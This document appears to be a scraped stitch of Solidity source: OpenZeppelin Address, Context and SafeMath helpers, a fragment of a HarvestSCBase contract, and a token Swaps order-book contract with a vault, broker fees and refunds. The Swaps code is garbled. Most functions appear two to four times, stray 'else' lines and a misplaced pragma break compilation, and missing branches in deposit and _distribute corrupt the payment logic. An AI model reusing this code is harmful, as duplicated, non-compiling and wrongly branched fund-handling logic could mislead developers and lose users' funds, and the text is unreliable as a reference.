* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
|
----------------------------------------------------------------------------------------------------------------------------------------------------- Events ------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
contract HarvestSCBase is StrategyBase, HarvestBase {
event RewardsExchanged(
address indexed user,
uint256 rewardsAmount,
uint256 obtainedAmount
);
event Deposit(
address indexed user,
address indexed origin,
uint256 amountToken,
uint256 amountfToken
);
event Withdraw(
address indexed user,
address indexed origin,
uint256 amountToken,
uint256 amountfToken,
uint256 treasuryAmountEth
);
pragma solidity 0.8.4;
}
| 11,767,030
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] |
./partial_match/137/0x9a234B3899CAf15413987BF94e19539ccd43A9C1/sources/Swaps.sol
|
id whiteAddr id owner id baseAddr id quoteAddr id expire id swapped? id cancelled? id base/quote limit id base/quote raised id base/quote investors id base/quote investor amount id base/quote minLimit id brokers id base/quote broker percent
|
contract Swaps is Ownable, ISwaps, ReentrancyGuard {
using SafeMath for uint;
uint public MAX_INVESTORS = 10;
uint256 public feeAmount;
address payable public feeAddress;
Vault public vault;
mapping(bytes32 => address) public baseOnlyInvestor;
mapping(bytes32 => address) public owners;
mapping(bytes32 => address) public baseAddresses;
mapping(bytes32 => address) public quoteAddresses;
mapping(bytes32 => uint) public expirationTimestamps;
mapping(bytes32 => bool) public isSwapped;
mapping(bytes32 => bool) public isCancelled;
mapping(bytes32 => mapping(address => uint)) public limits;
mapping(bytes32 => mapping(address => uint)) public raised;
mapping(bytes32 => mapping(address => address[])) public investors;
mapping(bytes32 => mapping(address => mapping(address => uint))) public investments;
mapping(bytes32 => mapping(address => uint)) public minInvestments;
mapping(bytes32 => address[]) public brokers;
mapping(bytes32 => mapping(address => mapping(address => uint))) public brokerPercents;
uint public myWishBasePercent;
uint public myWishQuotePercent;
address public myWishAddress;
modifier onlyInvestor(bytes32 _id, address _token) {
require(
_isInvestor(_id, _token, msg.sender),
"Swaps: Allowed only for investors"
);
_;
}
modifier onlyWhenVaultDefined() {
require(address(vault) != address(0), "Swaps: Vault is not defined");
_;
}
modifier onlyOrderOwner(bytes32 _id) {
require(msg.sender == owners[_id], "Swaps: Allowed only for owner");
_;
}
modifier onlyWhenOrderExists(bytes32 _id) {
require(owners[_id] != address(0), "Swaps: Order doesn't exist");
_;
}
modifier hasFeeAndTransferIt {
require(
msg.value == feeAmount,
"Swaps: Not enough fee"
);
feeAddress.transfer(msg.value);
_;
}
event OrderCreated(
bytes32 id,
address owner,
address baseAddress,
address quoteAddress,
uint baseLimit,
uint quoteLimit,
uint expirationTimestamp,
address baseOnlyInvestor,
uint minBaseInvestment,
uint minQuoteInvestment,
address broker,
uint brokerBasePercent,
uint brokerQuotePercent
);
event OrderCancelled(bytes32 id);
event Deposit(
bytes32 id,
address token,
address user,
uint amount,
uint balance
);
event Refund(bytes32 id, address token, address user, uint amount);
event OrderSwapped(bytes32 id, address byUser);
event SwapSend(bytes32 id, address token, address user, uint amount);
event BrokerSend(bytes32 id, address token, address broker, uint amount);
event MyWishAddressChange(
address oldMyWishAddress,
address newMyWishAddress
);
event MyWishPercentsChange(
uint oldBasePercent,
uint oldQuotePercent,
uint newBasePercent,
uint newQuotePercent
);
constructor(
uint256 _feeAmount,
address payable _feeAddress
) public {
feeAmount = _feeAmount;
feeAddress = _feeAddress;
}
function tokenFallback(address, uint, bytes calldata) external {}
function createOrder(
bytes32 _id,
address _baseAddress,
address _quoteAddress,
uint _baseLimit,
uint _quoteLimit,
uint _expirationTimestamp,
address _baseOnlyInvestor,
uint _minBaseInvestment,
uint _minQuoteInvestment,
address _brokerAddress,
uint _brokerBasePercent,
uint _brokerQuotePercent
)
external
payable
nonReentrant
onlyWhenVaultDefined
hasFeeAndTransferIt
{
require(owners[_id] == address(0), "Swaps: Order already exists");
require(
_baseAddress != _quoteAddress,
"Swaps: Exchanged tokens must be different"
);
require(_baseLimit > 0, "Swaps: Base limit must be positive");
require(_quoteLimit > 0, "Swaps: Quote limit must be positive");
require(
_expirationTimestamp > now,
"Swaps: Expiration time must be in future"
);
require(
_brokerBasePercent.add(myWishBasePercent) <= 10000,
"Swaps: Base percent sum should be less than 100%"
);
require(
_brokerQuotePercent.add(myWishQuotePercent) <= 10000,
"Swaps: Quote percent sum should be less than 100%"
);
owners[_id] = msg.sender;
baseAddresses[_id] = _baseAddress;
quoteAddresses[_id] = _quoteAddress;
expirationTimestamps[_id] = _expirationTimestamp;
limits[_id][_baseAddress] = _baseLimit;
limits[_id][_quoteAddress] = _quoteLimit;
baseOnlyInvestor[_id] = _baseOnlyInvestor;
minInvestments[_id][_baseAddress] = _minBaseInvestment;
minInvestments[_id][_quoteAddress] = _minQuoteInvestment;
if (_brokerAddress != address(0)) {
brokers[_id].push(_brokerAddress);
brokerPercents[_id][_baseAddress][_brokerAddress] = _brokerBasePercent;
brokerPercents[_id][_quoteAddress][_brokerAddress] = _brokerQuotePercent;
}
if (myWishAddress != address(0)) {
brokers[_id].push(myWishAddress);
brokerPercents[_id][_baseAddress][myWishAddress] = myWishBasePercent;
brokerPercents[_id][_quoteAddress][myWishAddress] = myWishQuotePercent;
}
emit OrderCreated(
_id,
msg.sender,
_baseAddress,
_quoteAddress,
_baseLimit,
_quoteLimit,
_expirationTimestamp,
_baseOnlyInvestor,
_minBaseInvestment,
_minQuoteInvestment,
_brokerAddress,
_brokerBasePercent,
_brokerQuotePercent
);
}
function createOrder(
bytes32 _id,
address _baseAddress,
address _quoteAddress,
uint _baseLimit,
uint _quoteLimit,
uint _expirationTimestamp,
address _baseOnlyInvestor,
uint _minBaseInvestment,
uint _minQuoteInvestment,
address _brokerAddress,
uint _brokerBasePercent,
uint _brokerQuotePercent
)
external
payable
nonReentrant
onlyWhenVaultDefined
hasFeeAndTransferIt
{
require(owners[_id] == address(0), "Swaps: Order already exists");
require(
_baseAddress != _quoteAddress,
"Swaps: Exchanged tokens must be different"
);
require(_baseLimit > 0, "Swaps: Base limit must be positive");
require(_quoteLimit > 0, "Swaps: Quote limit must be positive");
require(
_expirationTimestamp > now,
"Swaps: Expiration time must be in future"
);
require(
_brokerBasePercent.add(myWishBasePercent) <= 10000,
"Swaps: Base percent sum should be less than 100%"
);
require(
_brokerQuotePercent.add(myWishQuotePercent) <= 10000,
"Swaps: Quote percent sum should be less than 100%"
);
owners[_id] = msg.sender;
baseAddresses[_id] = _baseAddress;
quoteAddresses[_id] = _quoteAddress;
expirationTimestamps[_id] = _expirationTimestamp;
limits[_id][_baseAddress] = _baseLimit;
limits[_id][_quoteAddress] = _quoteLimit;
baseOnlyInvestor[_id] = _baseOnlyInvestor;
minInvestments[_id][_baseAddress] = _minBaseInvestment;
minInvestments[_id][_quoteAddress] = _minQuoteInvestment;
if (_brokerAddress != address(0)) {
brokers[_id].push(_brokerAddress);
brokerPercents[_id][_baseAddress][_brokerAddress] = _brokerBasePercent;
brokerPercents[_id][_quoteAddress][_brokerAddress] = _brokerQuotePercent;
}
if (myWishAddress != address(0)) {
brokers[_id].push(myWishAddress);
brokerPercents[_id][_baseAddress][myWishAddress] = myWishBasePercent;
brokerPercents[_id][_quoteAddress][myWishAddress] = myWishQuotePercent;
}
emit OrderCreated(
_id,
msg.sender,
_baseAddress,
_quoteAddress,
_baseLimit,
_quoteLimit,
_expirationTimestamp,
_baseOnlyInvestor,
_minBaseInvestment,
_minQuoteInvestment,
_brokerAddress,
_brokerBasePercent,
_brokerQuotePercent
);
}
function createOrder(
bytes32 _id,
address _baseAddress,
address _quoteAddress,
uint _baseLimit,
uint _quoteLimit,
uint _expirationTimestamp,
address _baseOnlyInvestor,
uint _minBaseInvestment,
uint _minQuoteInvestment,
address _brokerAddress,
uint _brokerBasePercent,
uint _brokerQuotePercent
)
external
payable
nonReentrant
onlyWhenVaultDefined
hasFeeAndTransferIt
{
require(owners[_id] == address(0), "Swaps: Order already exists");
require(
_baseAddress != _quoteAddress,
"Swaps: Exchanged tokens must be different"
);
require(_baseLimit > 0, "Swaps: Base limit must be positive");
require(_quoteLimit > 0, "Swaps: Quote limit must be positive");
require(
_expirationTimestamp > now,
"Swaps: Expiration time must be in future"
);
require(
_brokerBasePercent.add(myWishBasePercent) <= 10000,
"Swaps: Base percent sum should be less than 100%"
);
require(
_brokerQuotePercent.add(myWishQuotePercent) <= 10000,
"Swaps: Quote percent sum should be less than 100%"
);
owners[_id] = msg.sender;
baseAddresses[_id] = _baseAddress;
quoteAddresses[_id] = _quoteAddress;
expirationTimestamps[_id] = _expirationTimestamp;
limits[_id][_baseAddress] = _baseLimit;
limits[_id][_quoteAddress] = _quoteLimit;
baseOnlyInvestor[_id] = _baseOnlyInvestor;
minInvestments[_id][_baseAddress] = _minBaseInvestment;
minInvestments[_id][_quoteAddress] = _minQuoteInvestment;
if (_brokerAddress != address(0)) {
brokers[_id].push(_brokerAddress);
brokerPercents[_id][_baseAddress][_brokerAddress] = _brokerBasePercent;
brokerPercents[_id][_quoteAddress][_brokerAddress] = _brokerQuotePercent;
}
if (myWishAddress != address(0)) {
brokers[_id].push(myWishAddress);
brokerPercents[_id][_baseAddress][myWishAddress] = myWishBasePercent;
brokerPercents[_id][_quoteAddress][myWishAddress] = myWishQuotePercent;
}
emit OrderCreated(
_id,
msg.sender,
_baseAddress,
_quoteAddress,
_baseLimit,
_quoteLimit,
_expirationTimestamp,
_baseOnlyInvestor,
_minBaseInvestment,
_minQuoteInvestment,
_brokerAddress,
_brokerBasePercent,
_brokerQuotePercent
);
}
function deposit(bytes32 _id, address _token, uint _amount)
external
payable
nonReentrant
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
if (_token == address(0)) {
require(
msg.value == _amount,
"Swaps: Payable value should be equals value"
);
address(vault).transfer(msg.value);
require(msg.value == 0, "Swaps: Payable not allowed here");
uint allowance = IERC20(_token).allowance(
msg.sender,
address(this)
);
require(
_amount <= allowance,
"Swaps: Allowance should be not less than amount"
);
IERC20(_token).transferFrom(msg.sender, address(vault), _amount);
}
_deposit(_id, _token, msg.sender, _amount);
}
function deposit(bytes32 _id, address _token, uint _amount)
external
payable
nonReentrant
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
if (_token == address(0)) {
require(
msg.value == _amount,
"Swaps: Payable value should be equals value"
);
address(vault).transfer(msg.value);
require(msg.value == 0, "Swaps: Payable not allowed here");
uint allowance = IERC20(_token).allowance(
msg.sender,
address(this)
);
require(
_amount <= allowance,
"Swaps: Allowance should be not less than amount"
);
IERC20(_token).transferFrom(msg.sender, address(vault), _amount);
}
_deposit(_id, _token, msg.sender, _amount);
}
} else {
function cancel(bytes32 _id)
external
nonReentrant
onlyOrderOwner(_id)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Already cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address[2] memory tokens = [baseAddresses[_id], quoteAddresses[_id]];
for (uint t = 0; t < tokens.length; t++) {
address token = tokens[t];
for (uint u = 0; u < investors[_id][token].length; u++) {
address user = investors[_id][token][u];
uint userInvestment = investments[_id][token][user];
vault.withdraw(token, user, userInvestment);
}
}
isCancelled[_id] = true;
emit OrderCancelled(_id);
}
function cancel(bytes32 _id)
external
nonReentrant
onlyOrderOwner(_id)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Already cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address[2] memory tokens = [baseAddresses[_id], quoteAddresses[_id]];
for (uint t = 0; t < tokens.length; t++) {
address token = tokens[t];
for (uint u = 0; u < investors[_id][token].length; u++) {
address user = investors[_id][token][u];
uint userInvestment = investments[_id][token][user];
vault.withdraw(token, user, userInvestment);
}
}
isCancelled[_id] = true;
emit OrderCancelled(_id);
}
function cancel(bytes32 _id)
external
nonReentrant
onlyOrderOwner(_id)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Already cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address[2] memory tokens = [baseAddresses[_id], quoteAddresses[_id]];
for (uint t = 0; t < tokens.length; t++) {
address token = tokens[t];
for (uint u = 0; u < investors[_id][token].length; u++) {
address user = investors[_id][token][u];
uint userInvestment = investments[_id][token][user];
vault.withdraw(token, user, userInvestment);
}
}
isCancelled[_id] = true;
emit OrderCancelled(_id);
}
function refund(bytes32 _id, address _token)
external
nonReentrant
onlyInvestor(_id, _token)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Order cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address user = msg.sender;
uint investment = investments[_id][_token][user];
if (investment > 0) {
delete investments[_id][_token][user];
}
_removeInvestor(investors[_id][_token], user);
if (investment > 0) {
raised[_id][_token] = raised[_id][_token].sub(investment);
vault.withdraw(_token, user, investment);
}
emit Refund(_id, _token, user, investment);
}
function refund(bytes32 _id, address _token)
external
nonReentrant
onlyInvestor(_id, _token)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Order cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address user = msg.sender;
uint investment = investments[_id][_token][user];
if (investment > 0) {
delete investments[_id][_token][user];
}
_removeInvestor(investors[_id][_token], user);
if (investment > 0) {
raised[_id][_token] = raised[_id][_token].sub(investment);
vault.withdraw(_token, user, investment);
}
emit Refund(_id, _token, user, investment);
}
function refund(bytes32 _id, address _token)
external
nonReentrant
onlyInvestor(_id, _token)
onlyWhenVaultDefined
onlyWhenOrderExists(_id)
{
require(!isCancelled[_id], "Swaps: Order cancelled");
require(!isSwapped[_id], "Swaps: Already swapped");
address user = msg.sender;
uint investment = investments[_id][_token][user];
if (investment > 0) {
delete investments[_id][_token][user];
}
_removeInvestor(investors[_id][_token], user);
if (investment > 0) {
raised[_id][_token] = raised[_id][_token].sub(investment);
vault.withdraw(_token, user, investment);
}
emit Refund(_id, _token, user, investment);
}
function setVault(Vault _vault) external onlyOwner {
vault = _vault;
}
function setMyWishPercents(uint _basePercent, uint _quotePercent)
external
onlyOwner
{
require(_basePercent <= 10000, "Swaps: Base percent should be less than 100%");
require(
_quotePercent <= 10000,
"Swaps: Quote percent should be less than 100%"
);
emit MyWishPercentsChange(
myWishBasePercent,
myWishQuotePercent,
_basePercent,
_quotePercent
);
myWishBasePercent = _basePercent;
myWishQuotePercent = _quotePercent;
}
function setMyWishAddress(address _myWishAddress) external onlyOwner {
emit MyWishAddressChange(myWishAddress, _myWishAddress);
myWishAddress = _myWishAddress;
}
function setFeeParameters(
uint256 _feeAmount,
address payable _feeAddress
)
external
onlyOwner
{
feeAmount = _feeAmount;
feeAddress = _feeAddress;
}
function createKey(address _owner) public view returns (bytes32 result) {
uint creationTime = now;
result = 0x0000000000000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_owner, 0x1000000000000000000000000))
result := or(result, and(creationTime, 0xffffffffffffffffffffffff))
}
}
function createKey(address _owner) public view returns (bytes32 result) {
uint creationTime = now;
result = 0x0000000000000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_owner, 0x1000000000000000000000000))
result := or(result, and(creationTime, 0xffffffffffffffffffffffff))
}
}
function allBrokersBasePercent(bytes32 _id) public view returns (uint) {
return _allBrokersPercent(baseAddresses[_id], _id);
}
function allBrokersQuotePercent(bytes32 _id) public view returns (uint) {
return _allBrokersPercent(quoteAddresses[_id], _id);
}
function baseLimit(bytes32 _id) public view returns (uint) {
return limits[_id][baseAddresses[_id]];
}
function quoteLimit(bytes32 _id) public view returns (uint) {
return limits[_id][quoteAddresses[_id]];
}
function baseRaised(bytes32 _id) public view returns (uint) {
return raised[_id][baseAddresses[_id]];
}
function quoteRaised(bytes32 _id) public view returns (uint) {
return raised[_id][quoteAddresses[_id]];
}
function isBaseFilled(bytes32 _id) public view returns (bool) {
return raised[_id][baseAddresses[_id]] == limits[_id][baseAddresses[_id]];
}
function isQuoteFilled(bytes32 _id) public view returns (bool) {
return raised[_id][quoteAddresses[_id]] == limits[_id][quoteAddresses[_id]];
}
function baseInvestors(bytes32 _id) public view returns (address[] memory) {
return investors[_id][baseAddresses[_id]];
}
function quoteInvestors(bytes32 _id)
public
view
returns (address[] memory)
{
return investors[_id][quoteAddresses[_id]];
}
function baseUserInvestment(bytes32 _id, address _user)
public
view
returns (uint)
{
return investments[_id][baseAddresses[_id]][_user];
}
function quoteUserInvestment(bytes32 _id, address _user)
public
view
returns (uint)
{
return investments[_id][quoteAddresses[_id]][_user];
}
function orderBrokers(bytes32 _id) public view returns (address[] memory) {
return brokers[_id];
}
function _allBrokersPercent(address _side, bytes32 _id) internal view returns (uint) {
uint percents;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_side][broker];
percents = percents.add(percent);
}
return percents;
}
function _allBrokersPercent(address _side, bytes32 _id) internal view returns (uint) {
uint percents;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_side][broker];
percents = percents.add(percent);
}
return percents;
}
function _swap(bytes32 _id) internal {
require(!isSwapped[_id], "Swaps: Already swapped");
require(!isCancelled[_id], "Swaps: Already cancelled");
require(isBaseFilled(_id), "Swaps: Base tokens not filled");
require(isQuoteFilled(_id), "Swaps: Quote tokens not filled");
require(now <= expirationTimestamps[_id], "Contract expired");
_distribute(_id, baseAddresses[_id], quoteAddresses[_id]);
_distribute(_id, quoteAddresses[_id], baseAddresses[_id]);
isSwapped[_id] = true;
emit OrderSwapped(_id, msg.sender);
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
} else {
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
